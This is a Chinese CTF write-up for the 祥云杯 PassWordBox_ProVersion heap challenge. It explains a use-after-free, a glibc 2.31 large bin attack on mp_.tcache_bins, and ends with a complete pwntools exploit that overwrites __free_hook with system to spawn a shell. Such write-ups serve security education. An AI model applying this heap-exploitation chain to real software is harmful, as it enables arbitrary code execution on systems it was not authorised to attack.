从祥云杯PassWordBox_ProVersion看GLIBC2.31 LargeBin Attack

robots

 

在我的印象中large bin attack在glibc 2.27之后就没办法使用了,但是这周末打了祥云杯中的一道题目,让我见识到了Glibc 2.31下 Large bin attack的再次利用。

题目分析

首先看一下题目的简介

小鸟上一次使用的免费版本密码暂存箱不幸发生了数据泄露时间,据悉原因是系统版本较老且开发随便导致的。小鸟听说专业付费版的密码暂存箱功能更多,且炒鸡安全,不仅系统版本新还修复了以往的漏洞,真是太超值了!

没什么需要注意的地方,接着我们逆向分析一下题目。题目的逻辑很简单,就是一个菜单题目,但是由于IDA暂时没办法分析jmp eax这种的switch case语句的反汇编,因此这里我们直接看汇编代码,根据menu中指定的内容来判断函数。

.text:0000000000001BDC                 db      3Eh
.text:0000000000001BDC                 jmp     rax
.text:0000000000001BDC main            endp
.text:0000000000001BDC
.text:0000000000001BDF ; ---------------------------------------------------------------------------
.text:0000000000001BDF                 mov     eax, 0
.text:0000000000001BE4                 call    add
.text:0000000000001BE9                 jmp     short loc_1C25
.text:0000000000001BEB ; ---------------------------------------------------------------------------
.text:0000000000001BEB                 mov     eax, 0
.text:0000000000001BF0                 call    edit
.text:0000000000001BF5                 jmp     short loc_1C25
.text:0000000000001BF7 ; ---------------------------------------------------------------------------
.text:0000000000001BF7                 mov     eax, 0
.text:0000000000001BFC                 call    delete
.text:0000000000001C01                 jmp     short loc_1C25
.text:0000000000001C03 ; ---------------------------------------------------------------------------
.text:0000000000001C03                 mov     eax, 0
.text:0000000000001C08                 call    show
.text:0000000000001C0D                 jmp     short loc_1C25
.text:0000000000001C0F ; ---------------------------------------------------------------------------
.text:0000000000001C0F                 mov     eax, 0
.text:0000000000001C14                 call    recover
.text:0000000000001C19                 jmp     short loc_1C25
.text:0000000000001C1B ; ---------------------------------------------------------------------------
.text:0000000000001C1B                 mov     edi, 8
.text:0000000000001C20                 call    _exit
.text:0000000000001C25 ; ---------------------------------------------------------------------------
.text:0000000000001C25
.text:0000000000001C25 loc_1C25:                               ; CODE XREF: .text:0000000000001BE9↑j

接着我们分别分析一下这几个函数,首先是add函数

v3 = __readfsqword(0x28u);
  LODWORD(size) = 0;
  puts("Which PwdBox You Want Add:");
  __isoc99_scanf("%u", (char *)&size + 4);
  if ( HIDWORD(size) <= 0x4F )
  {
    printf("Input The ID You Want Save:");
    getchar();
    read(0, (char *)&id_list + 0x20 * HIDWORD(size), 0xFuLL);
    *((_BYTE *)&unk_406F + 0x20 * HIDWORD(size)) = 0;
    printf("Length Of Your Pwd:");
    __isoc99_scanf("%u", &size);
    if ( (unsigned int)size > 0x41F && (unsigned int)size <= 0x888 )
    {
      new_buf = (char *)malloc((unsigned int)size);
      printf("Your Pwd:");
      getchar();
      fgets(new_buf, size, stdin);
      encrypt_password((__int64)new_buf, size);
      *((_DWORD *)&size_list + 8 * HIDWORD(size)) = size;
      *((_QWORD *)&buf_list + 4 * HIDWORD(size)) = new_buf;
      recover_list[8 * HIDWORD(size)] = 1;
      if ( !is_first_add )
      {
        printf("First Add Done.Thx 4 Use. Save ID:%s", *((const char **)&buf_list + 4 * HIDWORD(size)));
        is_first_add = 1LL;
      }
    }
    else
    {
      puts("Why not try To Use Your Pro Size?");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

函数的逻辑很简单,首先就是输入id,然后输入一个size分配我们指定大小的堆块,接着将我们输入的passwd字符串加密存储在刚刚申请的堆块上,这里需要注意的是这里的size存在一个大小范围也就是 0x41f<size<0x888 ,那么这里申请的大小在释放的时候就无法进入到tcache和fastbin以及small bin链表中,也就是说我们申请的都是large bin大小的堆块。接着值得我们注意的就是这里存在一个is_alive的选项也就是上面代码中的recover_list这个数组,之后我们在分析。

接着就是edit函数

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which PwdBox You Want Edit:");
  __isoc99_scanf("%u", &v1);
  getchar();
  if ( v1 <= 0x4F )
  {
    if ( recover_list[8 * v1] )
      read(0, *((void **)&buf_list + 4 * v1), *((unsigned int *)&size_list + 8 * v1));
    else
      puts("No PassWord Store At Here");
  }
  return __readfsqword(0x28u) ^ v2;
}

我们看到这里的edit函数就是按照之前我们申请的大小,向相应的堆空间中输入内容,需要注意的是,这里我们输入的内容并没有被加密。接着是show函数

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which PwdBox You Want Check:");
  __isoc99_scanf("%u", &v1);
  getchar();
  if ( v1 <= 0x4F )
  {
    if ( recover_list[8 * v1] )
    {
      sub_14DB(*((_QWORD *)&buf_list + 4 * v1), *((_DWORD *)&size_list + 8 * v1));
      printf(
        "IDX: %d\nUsername: %s\nPwd is: %s",
        v1,
        (const char *)&id_list + 32 * v1,
        *((const char **)&buf_list + 4 * v1));
      encrypt_password(*((_QWORD *)&buf_list + 4 * v1), *((_DWORD *)&size_list + 8 * v1));
    }
    else
    {
      puts("No PassWord Store At Here");
    }
  }
  return __readfsqword(0x28u) ^ v2;
}

这里我们看到show函数就是将堆块中的内容进行一个解密操作进行输出,接着是delete函数

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Idx you want 2 Delete:");
  __isoc99_scanf("%u", &v1);
  if ( v1 <= 0x4F && recover_list[8 * v1] )
  {
    free(*((void **)&buf_list + 4 * v1));
    recover_list[8 * v1] = 0;
  }
  return __readfsqword(0x28u) ^ v2;
}

delete函数就是将我们指定的堆块释放掉,这里在释放时候为recover_list相应的内容赋值了0,那么这里就不存在一个UAF或者是DoubleFree的漏洞。那么还存在最后一个函数也就是recover函数

unsigned __int64 recover()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Idx you want 2 Recover:");
  __isoc99_scanf("%u", &v1);
  if ( v1 <= 0x4F && !recover_list[8 * v1] )
  {
    recover_list[8 * v1] = 1;
    puts("Recovery Done!");
  }
  return __readfsqword(0x28u) ^ v2;
}

可以看到这里recover函数是将recover_list中的位又重新置为了1,并且这里并没有进行堆块是否已经被释放了的检查,也就是说这里其实是一个后门,存在一个UAF的漏洞,我们可以在释放堆块之后,调用recover函数,那么就可以进行UAF的操作了。

 

漏洞利用

知道漏洞是一个UAF,并且这里的堆块范围是在large bin的范围内,那么就需要考虑Large bin Attack了。这里我们看一下large bin相应部分的源码

victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
  {
    /* Or with inuse bit to speed comparisons */
    size |= PREV_INUSE;
    /* if smaller than smallest, bypass loop below */
    assert (chunk_main_arena (bck->bk));
    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
      {
        fwd = bck;
        bck = bck->bk;

        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
      }

这一部分的代码是malloc源码中的一部分,代表的部分是当我们申请的大小usroted bin中现有的堆块的时候,glibc会首先将unsorted bin中的堆块放到相应的链表中,这一部分的代码就是将堆块放到large bin链表中的操作。当unsorted bin中的堆块的大小小于large bin链表中对应链中堆块的最小size的时候就会执行上述的代码。

我们看到在这一部分并没有针对large bin堆块中的fd_nextsize和bk_nextsize的相应的检查

if (__glibc_unlikely (size <= 2 * SIZE_SZ)
    || __glibc_unlikely (size > av->system_mem))
  malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
    || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
  malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
  malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
    || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
  malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
  malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

看前面也没有针对fd_nextsize和bk_nextsize的检查,也就是说虽然已经针对fd和bk进行了双向链表的检查,但是在large bin链表中并没有堆fd_nextsize和bk_nextsize进行双向链表完整性的检查,我们可以通过改写large bin的bk_nextsize的值来想指定的位置+0x20的位置写入一个堆地址,也就是这里存在一个任意地址写堆地址的漏洞。

那么我们如何利用这个漏洞呢,这里想到的就是覆写mp_.tcache_bins的值为一个很大的地址,这里我们看一下malloc中使用tcache部分的代码

#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  if (!checked_request2size (bytes, &tbytes))
    {
      __set_errno (ENOMEM);
      return NULL;
    }
  size_t tc_idx = csize2tidx (tbytes);

  MAYBE_INIT_TCACHE ();

  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx < mp_.tcache_bins
      && tcache
      && tcache->counts[tc_idx] > 0)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif

我们看到这里的逻辑,也就是这里的mp_.tcache_bins的作用就相当于是global max fast,将其改成一个很大的地址之后,再次释放的堆块就会当作tcache来进行处理,也就是这里我们可以直接进行任意地址分配。之后覆写free_hook为system,进而getshell。

还有一个libc地址泄漏的问题,由于我们存在一个UAF,这里泄漏地址不成问题,但是存在一个问题就是泄漏出的地址是加密之后。这个加密算法其实很简单,就是一个简单的异或,通过将前8位全部置为0,泄漏得到的就是异或的key,之后异或解密就能拿到libc的基地址。

 

EXP

# -*- coding: utf-8 -*-
from pwn import *

file_path = "./pwdPro"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    gdb.attach(p)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('./libc.so')
    one_gadget = 0x0

def add(idx, size, ID='xxx', pwd='aa'):
    p.sendafter("Input Your Choice:", '1')
    p.sendlineafter("Which PwdBox You Want Add:", str(idx))
    p.sendafter("Input The ID You Want Save:", ID)
    p.sendlineafter("Length Of Your Pwd:", str(size))
    p.sendlineafter("Your Pwd:", pwd)

def show(idx):
    p.sendafter("Input Your Choice:", '3')
    p.sendlineafter("Which PwdBox You Want Check:", str(idx))

def delete(idx):
    p.sendafter("Input Your Choice:", '4')
    p.sendlineafter("Idx you want 2 Delete:", str(idx))

def edit(idx, con):
    p.sendafter("Input Your Choice:", '2')
    p.sendlineafter("Which PwdBox You Want Edit:", str(idx))
    p.send(con)

def recover(idx):
    p.sendafter("Input Your Choice:", '5')
    p.sendlineafter("Idx you want 2 Recover:", str(idx))

add(0, 0x448, pwd="\x00"*0x8)
p.recvuntil("Save ID:")
key = u64(p.recvn(8))
add(1, 0x500)
add(2, 0x438)
add(3, 0x500)
add(6, 0x500)
add(7, 0x500)

delete(0)
recover(0)
show(0)
p.recvuntil("Pwd is: ")
libc.address = (u64(p.recvn(8)) ^ key)-0x1ebbe0
log.success("libc address is {}".format(hex(libc.address)))

add(4, 0x458)
delete(2)

recover(2)
show(2)
p.recvuntil("Pwd is: ")
ori_address = (u64(p.recvn(8)) ^ key)
log.success("ori libc address is {}".format(hex(ori_address)))

payload = p64(ori_address)*2 + p64(0) +p64(libc.address + 0x1eb280 + 0x50 - 0x20)

edit(0, payload)
add(5, 0x458)

delete(7)
delete(6)
recover(6)
edit(6, p64(libc.sym['__free_hook']))

add(6, 0x500)
add(7, 0x500)
edit(7, p64(libc.sym['system']))
edit(1, "/bin/sh\x00")
delete(1)

p.interactive()
(完)